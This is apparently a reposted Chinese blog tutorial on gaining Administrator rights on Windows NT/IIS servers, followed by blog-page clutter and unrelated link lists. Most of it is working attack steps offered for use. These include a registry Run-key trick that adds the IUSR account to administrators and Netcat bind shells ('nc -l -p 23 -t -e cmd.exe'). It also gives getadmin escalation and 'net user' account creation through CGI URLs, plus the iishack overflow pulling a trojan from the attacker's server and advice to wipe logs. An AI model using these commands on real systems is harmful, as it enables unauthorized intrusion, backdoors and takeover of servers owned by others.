一、通过修改注册表

凡是具有登录NT本机的用户,例如IUSR_machine,都具有对 HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CurrentVersion\Run 项的可读可写权限,该用户可以远程访问这个项。比如,他可以创建一个bat文件,文件内容为:cmd.exe /c net localgroup administrators IUSR_machine /add,把该文件copy到winnt目录下,然后在注册表上述的项添加一个数值,指向这个文件。

那么,当下次Admin登录到该机器上时,就会自动把IUSR_machine添加到Administrators组。

另,注册表键HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Common Startup 也可以这么做。

二、自建Telnet服务在NT上执行指令

要求用户有文件上传权限,而且该目录位于web目录下,该目录允许执行,下面是具体步骤。

假设你的目录是[url]www.xxx.com/frankie[/url],那么,把cmd.exe(位于C:\winnt\system32\cmd.exe)和Netcat里面包含的nc.exe传到这个目录上去。

然后,在浏览器端输入:

[url]http://www.xxx.com/frankie/cmd.e[/url] ... 20-t%20-e%20cmd.exe
这时候,你的浏览器将停止不动,实际上,Server上的Telnet的服务已经产生了。

这时,用Telnet连接[url]www.xxx.com[/url]的23端口。你发现,不用密码,不用登陆,对方C:\提示符已经出现在你的眼前!更妙的是,这个Telnet server是一个一次性的服务,当客户端一退出,该服务也将终止。

Netcat不同于一般的特洛伊***,它可以构建任何的TCP连接服务。在浏览器端输入上述的字符串,等价于在NT的Dos方式下输入

nc -l -p 23 -t -e cmd.exe

这将把cmd.exe绑定到23端口上。

三、***NTserver典型途径V2.0

1、如果你有NT/IIS服务器的任何一个帐号,哪怕是guest帐号,都可以获得root。

2、用Netcat和iishack可以获得root。

3、Iusr_计算机名这个帐号有ftp上传,web执行等权限。

4、在Web server上执行程序是***NT的关键。

5、要在Web server上执行程序就先要上传文件到cgi-bin目录或者scripts目录等有执行权限的目录上去。

在本文中,目标机器的名称是ntsvr2,目标机器的域名是[url]www.xxx.com[/url],目标机器上有scripts和cgi-bin目录,scripts目录下有uploadn.asp等asp程序,可能有guest帐号,肯定有iusr_ntsvr2这个帐号。

第一个方法、用Iusr_ntsvr2后者Guest这两个帐号

这里假设我们已经破解了这个帐号的密码,在浏览器输入:

[url]http://www.xxx.com/scripts/uploadn.asp[/url]

guest和iusr_ntsvr2这两个帐号都可以进这个asp页面,在这里把文件getadmin和gasys.dll以及cmd.exe上传到/scripts目录。

然后输入:

[url]http://www.xxx.com/scripts/getadmin.exe?IUSR_ntsvr2[/url]

大约十多秒后屏幕显示:

CGI Error

这时有90%的可能是:你已经把IUSR_ntsvr2升级为Administrator,也就是任何访问该web站的人都是管理员。

下面可以Add user:

[url]http://www.xxx.com/cgi-bin/cmd.exe?/c%20c:[/url]\winnt\system32\net.exe%20user%20china%20news%20/add

这样就创建了一个叫china用户,密码是news,然后:

[url]http://www.xxx.com/scripts/getadmin.exe?china[/url]
第二个方法、用匿名Ftp

如果允许匿名帐号ftp登陆的设定,也给我们带来了突破NT server的机会。我们用ftp登陆一个NT server,比如:[url]www.xxx.com[/url](示例名):

ftp [url]www.xxx.com[/url]
Connected to [url]www.xxx.com[/url]
220 ntsvr2 Microsoft FTP Service (Version 3.0).
Ntsvr2这个东西暴露了其NETbios名,那么在IIS的背景下,必然会有一个IUSR_ntsvr2的用户帐号,属于Domain user组,这个帐号我们以后要用来获取Administrator的权限。

User ([url]www.xxx.com:[/url](none)):anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:输入 guest@ 或者guest。

对于缺乏网络安全知识的管理员来说,很多人没有将guest帐号禁止,或者没有设置密码。那么guest帐号就是一个可用的正确的用户帐号,虽然只属于Domain guest组。在这种情况下我们就可以进NT server的ftp了。

进去以后,看看目录列表,试试 cd /scripts 或cgi-bin等关键目录,如果运气好,改变目录成功,这时你就有了80%的把握。

把Winnt下的cmd.execopy到cgi-bin,把getadmin和gasys.dll传上去到cgi-bin,然后输入:

[url]http://www.xxx.com/cgi-bin/getadmin.exe?IUSR_ntsvr2[/url]

大约十多秒后屏幕显示:

CGI Error
这时有90%的可能是:你已经把IUSR_ntsvr2升级为Administrator,也就是任何访问该web站的人都是管理员。

下面可以add user:

[url]http://www.xxx.com/cgi-bin/cmd.exe?/c%20c:[/url]\winnt\system32\net.exe%20user%20china%20news%20/add

这样就创建了一个叫china用户,密码是news,然后:

[url]http://www.xxx.com/cgi-bin/getadmin.exe?china[/url]

或者

[url]http://www.xxx.com/scripts/tools/getadmin.exe?china[/url]
你再用China的帐号登陆,就可以有最大的权限了,也可以用上面的cmd.exe的方法直接修改 如果没有cmd.exe,也可以自己传一个上去到scripts/tools或者cgi-bin目录。

第三个方法、用netcat和iishack

如果你熟悉使用Netcat这个工具,你就知道,netcat可以利用NT的弱点在其上绑定端口,下面用eEye的工具已经介绍过,如果你熟悉Netcat,成功的可能性会更大。

IIS的ISAPI的毛病(*.HTR) 我们再来看看eEye最近这两天发现的一个关于NT/IIS的问题和工具。在IIS的/Inetsrv目录下,有个DLL文件叫ism.dll,这个模块在web运行的时候就被加载到较高的内存地址,并且导致了零字节问题到处出现IIShack.asm,利用这个毛病,eEye写了两个程序:

iishack.exe
ncx99.exe
为达目的你必须自己有一个web server,把ncx99.exe和netbus***传到这个web server的目录下,比如你的web server是:

[url]www.mysvr.com?[/url] 而对方的IIS server是[url]www.xxx.com[/url]

则:

iishack [url]www.xxx.com[/url] 80 [url]www.mysvr.com/ncx99.exe??[/url] (注意,不要加http://字符!)

上述命令输入后这时你应该可以看到

------(IIS 4.0 remote buffer overflow exploit)-----------------
(c) dark spyrit -- [email]barns@eeye.com[/email].
[url]http://www.eEye.com[/url]
[usage: iishack ]
eg - iishack [url]www.xxx.com[/url] 80 [url]www.mysvr.com/thetrojan.exe[/url]
do not include 'http://' before hosts!
---------------------------------------------------------------
Data sent!
然后,再把Netbus等特洛伊***传到对方机器上去:

iishack [url]www.example.com[/url] 80 [url]www.myserver.com/netbus.exe[/url]

ncx99.exe实际上是有名的Netcat的变种,它把对方server的cmd.exe绑定到Telnet服务。 ncx.exe 这是较早的版本,是把端口绑到80的,由于80端口跑web服务,端口已经被使用。所以可能不一定有效。然后,用Telnet到对方的99或80端口:

Telnet [url]www.xxx.com[/url] 99
结果是这样:

Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
C:\>[You have full access to the system, happy browsing :)]
C:\>[Add a scheduled task to restart inetinfo in X minutes]
C:\>[Add a scheduled task to delete ncx.exe in X-1 minutes]
C:\>[Clean up any trace or logs we might have left behind.]

这样,你就完全控制了其硬盘上的文件!注意,如果你type exit退出,对方server上的这个进程也会退出。

补救方法:在IIS的www service属性中将主目录的应用程序设置的*.htr的映射删除。

其它:用Retina.exe得到NT域内的帐号清单,逐个尝试这些帐号,如果有的密码薄弱而被你猜出来,就可以用上面的方法来获取NT的Admin。

职场 windows 休闲 系统

0

分享

微博 QQ 微信

收藏

上一篇:教你如何进入有密码的Window... 下一篇:保护系统 用SVS为Window...
xiong2127

772篇文章,232W+人气,1粉丝

关注

Ctrl+Enter 发布

发布

取消

推荐专栏更多

全局视角看大型园区网

路由交换+安全+无线+优化+运维

共40章 | 51CTO夏杰

¥51.00 1697人订阅

订   阅

网工2.0晋级攻略 ——零基础入门Python/Ansible

网络工程师2.0进阶指南

共30章 | 姜汁啤酒

¥51.00 1570人订阅

订   阅

基于Python的DevOps实战

自动化运维开发新概念

共20章 | 抚琴煮酒

¥51.00 431人订阅

订   阅

负载均衡高手炼成记

高并发架构之路

共15章 | sery

¥51.00 507人订阅

订   阅

带你玩转高可用

前百度高级工程师的架构高可用实战

共15章 | 曹林华

¥51.00 462人订阅

订   阅

猜你喜欢

2007中国互联网哈哈榜之年度人物 2007中国互联网哈哈榜之七大关键词 Java线程:线程的调度-休眠 我们不得不面对的中年职场危机 职场终极密籍--记我的职业生涯 用光影魔术手制作一寸照片(8张一寸) 我的IT职场生涯: 毕业4年,月薪过万 Linux关闭休眠和屏保模式 年薪从0到10万-我的IT职场经验总结 Windows7删除休眠文件hiberfil.sys节省大量C盘空间 致IT同仁 — IT人士常犯的17个职场错误 “跳槽加薪”现象,无奈的职场规则 Windows 10 "升"与"不升"之我见 Windows server 2016 搭建RDS服务 kubernetes 存储卷与数据持久化 Windows 设置 VMware workstation 虚拟机开机启动 漫谈 Windows Server 管理工具 如何在Windows中批量创建VMware的虚拟机 解决asp.net负载均衡时Session共享的问题 中小企业2018-2020年信息化环境运维及安全建议

扫一扫,领取大礼包

0

分享

关注

xiong2127

转载于:https://blog.51cto.com/xiong/15491

教你获取WindowsNT的Admin权限的方法相关推荐

  1. 获取NT的admin权限的方法

    涉及程序:  NT server 描述:  一般用户获取NT服务器Admin权限的方法 详细:  获取NT的admin权限的方法: 一.通过修改注册表 凡是具有登录NT本机的用户,例如IUSR_mac ...

  2. 获取Android_Studio模拟器root权限的方法

    资源内容 在创建模拟模拟器时注意Google Play与GoogleAPI是不同的,较高版本的安卓系统只有选择后者才能获取到root权限,前者是无法获取root权限的. 运行AVD后,在AS的term ...

  3. 在Android中快速获取手机的高级权限

    在Android中快速获取手机的高级权限 想要快速获取Android手机的ROOT权限吗?也许因为ROOT教程太复杂,也许因为不会进工程模式,让我们在使用Android手机时感觉像是开别人的车一样,总 ...

  4. 获取win10计算机所有权限,如何获得管理员权限 教您win10获取管理员所有权限的方法。...

    有时操作电脑时,出现权限不够的提示,明明是我们就是使用者呀,却不够权限.如何获得管理员权限呢?所以今天小编教您win10获取管理员所有权限的方法. 1.首先在桌面上鼠标右键点击"此电脑&qu ...

  5. 获取超级用户访问权限-redhat 7.2

    获取超级用户访问权限 Root用户: 在redhat7.2中root用户特权高于文件系统上的一般特权,用于管理系统,要执行诸如安装或删除软件以及管理系统文件和目录等任务时,必须将特权升级到root用户 ...

  6. 教你获取Microsoft Office 365E5账号

    文末附Microsoft office365安装包链接 文章概要 1.第一节,介绍免费注册E5管理员账号,试用期3个月. 2.第二节,介绍在Github网站上,注册一个具有 workflow权限的PA ...

  7. 我是如何通过命令执行到最终获取内网Root权限的

    简介 此前我曾发表过一篇ltr101的文章,这是我该系列的第二篇.本文我将为大家展示最近我在赏金计划中,发现的一个非常cool的漏洞.以及我是如何通过一个废弃的Web服务器实现远程执行代码的,并最终成 ...

  8. 教您如何查看MySQL用户权限

    教您如何查看MySQL用户权限 如果需要查看MySQL用户权限,应该如何实现呢?下面就为您介绍查看MySQL用户权限的方法,并对授予MySQL用户权限的语句进行介绍,供您参考. 查看MySQL用户权限 ...

  9. PHP---微信JS-SDK获取access_token/jsapi_ticket/signature权限签名算法,php/thinkphp实现微信分享自定义文字和图片...

    PHP---微信JS-SDK获取access_token/jsapi_ticket/signature权限签名算法, php/thinkphp实现微信分享自定义文字和图片. 一.先看微信JS-SDK文 ...

最新文章

  1. matlab的数值计算功能,MATlAB数值计算功能
  2. open函数返回-1_4.6 linux的系统调用执行探究(1)
  3. 学习笔记之centos系统启动流程
  4. myeclipse将普通java项目转换成maven项目_Myeclipse Java项目转换成Maven项目
  5. com.autonavi.AMapLocationThread (13): Exception: threading violation: expected the main thread-iOS
  6. 【Android】音视频开发基础入门
  7. linux的php探针使用,php探针在Linux下的安装过程
  8. cad通过钢筋大样生成钢筋明细表插件_易图(CAD插件For2016-2018)下载|易图(CAD插件For2016-2018)官方版下载_v18.3.1_9号软件下载...
  9. 全面了解APON,BPON,EPON,GPON
  10. firefox linux 关闭,Firefox 的 Flash 被禁用的解决方法
  11. 网联最终落地,如何影响第三方支付机构、银联等?
  12. VeraCrypt命令行下加载加密磁盘
  13. 织梦DedeCMS后台模块管理列表不显示 【终极解决办法】
  14. c语言单字符输入和输出函数分别为,c语言第六章字符数据
  15. Excel中利用宏批量生成md5加密
  16. 管理信息系统【二】之 管理信息系统与组织变革
  17. 单片机C语言C51的输入输出
  18. 五个经常被忽略的指标,你知道几个?
  19. Android商城App购物车规格联动选择
  20. 基于SpringBoot与LayUI的后台管理系统

热门文章

  1. 存储过程和SQL语句比较【转】
  2. 如何改变SQL SERVER的身份验证模式
  3. 研究阿里钉钉近三年,我们总结了10大企业级产品的营销套路
  4. 互联网公司败局汇总,这些公司都是怎么死的?(下篇)
  5. 预算为0如何拉用户?类类教你5个独门绝技,并说说一些陷阱!
  6. 互联网金融产品需要什么样的产品经理?
  7. PMCAFF脉脉:原京东副总裁任鑫教你小团队如何挑战大巨头
  8. 脑科学助力人工智能,离不开大数据
  9. Failed to connect to 127.0.0.1:27017, reason: errno:111 Connection refused(MongoDB启动异常)
  10. MVC4 下DropDownList使用方法(转)